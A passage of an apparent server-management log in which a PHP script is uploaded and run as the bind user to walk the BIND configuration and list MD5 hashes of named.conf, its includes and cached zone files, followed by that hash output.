MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 12:24:02: Establishing a connection
2026-04-24 12:24:02: 

PUT: /tmp/pkp445407

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 12:24:02: 

runuser -l bind -s /bin/bash -c '/tmp/pkp445407; rm /tmp/pkp445407'

2026-04-24 12:24:03: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
